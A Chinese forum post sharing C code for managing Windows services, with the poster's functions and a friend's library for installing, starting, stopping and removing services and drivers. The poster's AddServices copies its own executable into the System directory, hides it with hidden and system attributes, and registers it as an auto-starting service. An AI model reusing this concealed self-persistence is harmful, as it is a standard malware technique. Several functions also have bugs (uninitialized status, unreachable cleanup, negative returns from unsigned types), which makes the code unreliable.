VC没发现就自己花了2天时间写了个 写好后拿给 NB 看 他说他以前写了 就把代码发出来吧
我的代码
#include "Winsvc.h"
//BOOL DisplayServices(); //查看服务
//void AddServices(); //添加服务
//void DelServices(); //删除服务
//void StopServices(); //停止服务
//void StartServices(); //启动服务
BOOL DisplayServices(char *m_ServiceName) //查看服务
{
char RgsKey[MAX_PATH];
HKEY hNewKey=NULL;
strcpy(RgsKey,"SYSTEM\\CurrentControlSet\\Services\\"); //系统服务位置
strcat(RgsKey,m_ServiceName); //合并字符串
if(RegOpenKey(HKEY_LOCAL_MACHINE,RgsKey, &hNewKey)==ERROR_SUCCESS)
return TRUE;// MessageBox("已经存在\n");
else
return FALSE;// MessageBox("没有存在\n");
RegCloseKey(hNewKey); //关闭注册表句柄
}
void AddServices(char *m_ServiceName, char *m_DisplayName, char *m_Description) //添加服务
{ //AddServices("服务名" ,"服务描述", "服务描述");
char FilePath[MAX_PATH];
char SystemPath[MAX_PATH];
GetModuleFileName(NULL,FilePath,MAX_PATH); //GetModuleFileName取得应用所在路径
GetSystemDirectory(SystemPath,MAX_PATH); //取得System目录完整路径名
if (strncmp(SystemPath,FilePath,strlen(SystemPath)) != 0)
{
char FileTitle[80];
GetFileTitle(FilePath,FileTitle,80);
if (strstr(FileTitle,".exe") == NULL && strstr(FileTitle,".EXE") == NULL)
strcat(FileTitle,".exe");
strcat(SystemPath,"\\");
strcat(SystemPath,FileTitle);
CopyFile(FilePath,SystemPath,FALSE);
memset(FilePath,0,MAX_PATH);
strcpy(FilePath,SystemPath); //strcpy复制字符串
}
SetFileAttributes (FilePath,FILE_ATTRIBUTE_HIDDEN|FILE_ATTRIBUTE_SYSTEM); //设置文件属性
SC_HANDLE manager=NULL;
SC_HANDLE service=NULL;
char Desc[MAX_PATH];
HKEY key=NULL;
manager = OpenSCManager(0, 0,SC_MANAGER_ALL_ACCESS); //SC_MANAGER_ALL_ACCESS 所有权限
service=CreateService( manager,m_ServiceName,m_DisplayName, //服务控制
SERVICE_ALL_ACCESS, SERVICE_WIN32_OWN_PROCESS,
SERVICE_AUTO_START, SERVICE_ERROR_NORMAL,
FilePath, 0, 0, 0, 0, 0 );
strcpy(Desc,"SYSTEM\\CurrentControlSet\\Services\\"); //系统服务位置
strcat(Desc,m_ServiceName); //合并字符串
RegOpenKey(HKEY_LOCAL_MACHINE,Desc,&key); //打开注册表项
RegSetValueEx(key,"Description",0,REG_SZ,(CONST BYTE*)m_Description,lstrlen(m_Description)); //添加服务描述
StartService(service,0,NULL); //启动服务
RegCloseKey(key); //关闭注册表句柄
CloseServiceHandle(service);
CloseServiceHandle(manager);
return;
}
void DelServices(char *ws_svcname) //删除服务
{ //DelServices("删除的服务名");
SC_HANDLE scm ,service;
SERVICE_STATUS status;
scm=OpenSCManager(NULL,NULL,SC_MANAGER_CREATE_SERVICE);
service=OpenService(scm, ws_svcname,SERVICE_ALL_ACCESS|DELETE);
//OpenService打开现有服务 scm服务句柄 modify_data.ws_svcname服务名 SERVICE_ALL_ACCESS服务访问类型 DELETE删除
if ( status.dwCurrentState!=SERVICE_STOPPED )
{
ControlService(service,SERVICE_CONTROL_STOP,&status);
}
DeleteService(service); //DeleteService删除服务 service取得服务
CloseServiceHandle(service );
CloseServiceHandle(scm);
return;
}
void StopServices(char *ws_svcname) //停止服务
{ //StopServices("要停止的服务名");
SC_HANDLE scm ,service;
SERVICE_STATUS status;
scm=OpenSCManager(NULL,NULL,SC_MANAGER_CREATE_SERVICE);
service=OpenService(scm,ws_svcname,SERVICE_ALL_ACCESS|DELETE);
BOOL isSuccess=QueryServiceStatus(service,&status);
if ( status.dwCurrentState!=SERVICE_STOPPED )
{
ControlService(service,SERVICE_CONTROL_STOP,&status);
}
return;
}
void StartServices(char *ws_svcname) //启动服务
{ //StartServices("要启动服务名");
SC_HANDLE scm, service;
SERVICE_STATUS status;
scm=OpenSCManager(NULL,NULL,SC_MANAGER_CREATE_SERVICE);
service=OpenService(scm,ws_svcname,SERVICE_ALL_ACCESS|DELETE);
BOOL isSuccess=QueryServiceStatus(service,&status);
if ( status.dwCurrentState==SERVICE_STOPPED )
{
StartService(service,0,NULL); //启动服务
}
return;
}
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
NB的代码
#include "Winsvc.h"
UINT
NtServiceIsRunning(LPCTSTR ServiceName) //检测是否运行
{
SC_HANDLE schService;
SC_HANDLE schSCManager;
DWORD RC;
SERVICE_STATUS ssStatus;
UINT return_value;
schSCManager = OpenSCManager(
NULL, // machine (NULL == local)
NULL, // database (NULL == default)
SC_MANAGER_ALL_ACCESS // access required
);
if (!schSCManager) return -1;
schService = OpenService(schSCManager, ServiceName, SERVICE_ALL_ACCESS);
if (!schService) {
RC = GetLastError();
CloseServiceHandle(schSCManager);
if (RC == ERROR_SERVICE_DOES_NOT_EXIST) return -2;
else return -1;
}
QueryServiceStatus(schService, &ssStatus);
if(ssStatus.dwCurrentState == SERVICE_RUNNING) return_value = 1;
else return_value = 0;
CloseServiceHandle(schService);
CloseServiceHandle(schSCManager);
return return_value;
}
--------------------------------------------------------------------------------
UINT
NtServiceStart( LPCTSTR ServiceName) //启动
{
SC_HANDLE schService;
SC_HANDLE schSCManager;
DWORD RC;
UINT return_value;
schSCManager = OpenSCManager(
NULL, // machine (NULL == local)
NULL, // database (NULL == default)
SC_MANAGER_ALL_ACCESS // access required
);
if (!schSCManager) return -1;
schService = OpenService(schSCManager, ServiceName, SERVICE_ALL_ACCESS);
if (!schService) {
RC = GetLastError();
CloseServiceHandle(schSCManager);
if (RC == ERROR_SERVICE_DOES_NOT_EXIST) return -2;
else return -1;
}
return_value = StartService(schService, 0, NULL) ? 1 : -1;
RC = GetLastError();
CloseServiceHandle(schService);
CloseServiceHandle(schSCManager);
return return_value;
}
--------------------------------------------------------------------------------
UINT
NtServiceStop(LPCTSTR ServiceName,ULONG TimeoutSeconds) //停止
{
SC_HANDLE schService;
SC_HANDLE schSCManager;
DWORD RC;
UINT return_value;
SERVICE_STATUS SrvStatus;
schSCManager = OpenSCManager(
NULL, // machine (NULL == local)
NULL, // database (NULL == default)
SC_MANAGER_ALL_ACCESS // access required
);
if (!schSCManager) return -1;
schService = OpenService(schSCManager, ServiceName, SERVICE_ALL_ACCESS);
if (!schService) {
RC = GetLastError();
CloseServiceHandle(schSCManager);
if (RC == ERROR_SERVICE_DOES_NOT_EXIST) return -2;
else return -1;
}
return_value = ControlService(schService, SERVICE_CONTROL_STOP, &SrvStatus) ? 1 : -1;
if(return_value) {
while(QueryServiceStatus(schService, &SrvStatus)) {
if ( SrvStatus.dwCurrentState == SERVICE_STOP_PENDING ) {
if(!TimeoutSeconds)
break;
if(TimeoutSeconds != -1)
TimeoutSeconds--;
Sleep( 1000 );
} else {
break;
}
}
if(SrvStatus.dwCurrentState == SERVICE_STOPPED) {
return_value = 1;
} else {
return_value = -1;
}
} else {
return_value = -2;
}
RC = GetLastError();
CloseServiceHandle(schService);
CloseServiceHandle(schSCManager);
return return_value;
}
--------------------------------------------------------------------------------
UINT
NtServiceInstall(LPCTSTR ServiceName,PCHAR PathToExecutable,BOOLEAN KernelDriver,ULONG StartType,PCHAR Dependencies) //安装
{
SC_HANDLE schService;
SC_HANDLE schSCManager;
DWORD RC;
UINT return_value = 0;
CHAR path_name1[MAX_PATH];
CHAR path_name[MAX_PATH];
CHAR sys_path_name[MAX_PATH];
CHAR drv_path_name[MAX_PATH];
GetSystemDirectory(sys_path_name, MAX_PATH-40);
if(KernelDriver) {
_snprintf(path_name, MAX_PATH-1, "%s\\drivers\\%s.sys", sys_path_name, ServiceName);
_snprintf(path_name1, MAX_PATH-1, "%s\\%s.sys", PathToExecutable, ServiceName);
_snprintf(drv_path_name, MAX_PATH-1, "System32\\drivers\\%s.sys", ServiceName);
} else {
_snprintf(path_name, MAX_PATH-1, "%s\\%s.exe", sys_path_name, ServiceName);
_snprintf(path_name1, MAX_PATH-1, "%s\\%s.exe", PathToExecutable, ServiceName);
_snprintf(drv_path_name, MAX_PATH-1, "System32\\%s.exe", ServiceName);
}
return_value = CopyFile(path_name1, path_name, 0);
if(!return_value) {
return_value = GetLastError();
printf("Can't copy %s to %s\nerror code %#x\n", path_name1, path_name, return_value);
return -1;
}
schSCManager = OpenSCManager(
NULL, // machine (NULL == local)
NULL, // database (NULL == default)
SC_MANAGER_ALL_ACCESS // access required
);
if (!schSCManager) return -1;
schService = CreateService(schSCManager, ServiceName, ServiceName, SERVICE_ALL_ACCESS,
KernelDriver ? SERVICE_KERNEL_DRIVER : SERVICE_WIN32_OWN_PROCESS,
StartType, SERVICE_ERROR_IGNORE,
drv_path_name, NULL, NULL, Dependencies, NULL, NULL);
if (!schService) {
RC = GetLastError();
CloseServiceHandle(schSCManager);
if (RC == ERROR_SERVICE_DOES_NOT_EXIST) return -2;
else return -1;
} else {
return_value = 1;
}
// return_value = StartService(schService, 0, NULL) ? 1 : -1;
RC = GetLastError();
CloseServiceHandle(schService);
CloseServiceHandle(schSCManager);
return return_value;
}
--------------------------------------------------------------------------------
UINT
NtServiceRemove(LPCTSTR ServiceName ) //卸载
{
SC_HANDLE schService;
SC_HANDLE schSCManager;
DWORD RC;
UINT return_value;
// SERVICE_STATUS SrvStatus;
/*
It is unsafe to do this:
return_value = NtServiceStop(ServiceName);
if(return_value != 1) {
return return_value;
}
*/
schSCManager = OpenSCManager(
NULL, // machine (NULL == local)
NULL, // database (NULL == default)
SC_MANAGER_ALL_ACCESS // access required
);
if (!schSCManager) return -1;
schService = OpenService(schSCManager, ServiceName, SERVICE_ALL_ACCESS);
if (!schService) {
RC = GetLastError();
CloseServiceHandle(schSCManager);
if (RC == ERROR_SERVICE_DOES_NOT_EXIST) return -2;
else return -1;
}
return_value = DeleteService(schService) ? 1 : -1;
RC = GetLastError();
CloseServiceHandle(schService);
CloseServiceHandle(schSCManager);
return return_value;
}
--------------------------------------------------------------------------------
UINT
NtServiceSetStartMode( LPCTSTR ServiceName, ULONG StartMode) //改变启动模式
{
SC_HANDLE schService;
SC_HANDLE schSCManager;
DWORD RC;
UINT return_value;
schSCManager = OpenSCManager(
NULL, // machine (NULL == local)
NULL, // database (NULL == default)
SC_MANAGER_ALL_ACCESS // access required
);
if (!schSCManager) return -1;
schService = OpenService(schSCManager, ServiceName, SERVICE_ALL_ACCESS);
if (!schService) {
RC = GetLastError();
CloseServiceHandle(schSCManager);
if (RC == ERROR_SERVICE_DOES_NOT_EXIST) return -2;
else return -1;
}
return_value = ChangeServiceConfig(schService,
SERVICE_NO_CHANGE,
StartMode,
SERVICE_NO_CHANGE,
NULL, NULL, NULL /*tag*/,
NULL, NULL, NULL /*pwd*/,
NULL);
return_value = 0;
RC = GetLastError();
CloseServiceHandle(schService);
CloseServiceHandle(schSCManager);
return return_value;
}